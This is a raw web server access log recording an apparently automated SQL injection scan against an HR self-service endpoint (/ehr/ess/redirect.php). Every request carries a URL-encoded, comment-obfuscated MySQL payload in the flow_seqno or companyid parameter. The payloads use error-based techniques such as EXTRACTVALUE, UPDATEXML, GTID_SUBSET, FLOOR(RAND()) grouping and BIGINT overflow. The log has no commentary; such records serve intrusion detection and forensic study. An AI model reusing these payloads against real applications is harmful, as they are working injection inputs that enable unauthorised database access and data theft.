100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30393134%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5770744d%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30393134%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5770744d%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x41556c4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54557652%29%2C6420%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x41556c4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54557652%29%2C6420%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x63397164%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4135314c%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x63397164%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4135314c%29%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x746f6758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37555536%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x746f6758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37555536%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4e555446%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43697535%29%2C6420%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4e555446%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43697535%29%2C6420%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6a30716b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484a4472%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6a30716b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484a4472%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x61305566%2C%28NULL%29%2C0x64356151%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x61305566%2C%28NULL%29%2C0x64356151%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x59506666%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d753634%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x59506666%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d753634%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x3751716b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66417038%29%2C5431%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x3751716b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66417038%29%2C5431%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x634d614f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48504178%29%2C5431%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x634d614f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48504178%29%2C5431%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x41486d6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f334137%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x41486d6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f334137%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x54494f6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556f3874%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x54494f6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556f3874%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x73515642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51543943%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:59 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x73515642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51543943%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x41556c4f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54557652%29%2C6420%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x70417639%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7843494a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x70417639%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7843494a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4e555446%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43697535%29%2C6420%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x46354256%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a653571%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x46354256%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a653571%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x61305566%2C%28NULL%29%2C0x64356151%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x77436844%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c394861%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x77436844%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c394861%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6a30716b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484a4472%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x32323547%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5744564a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x32323547%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5744564a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
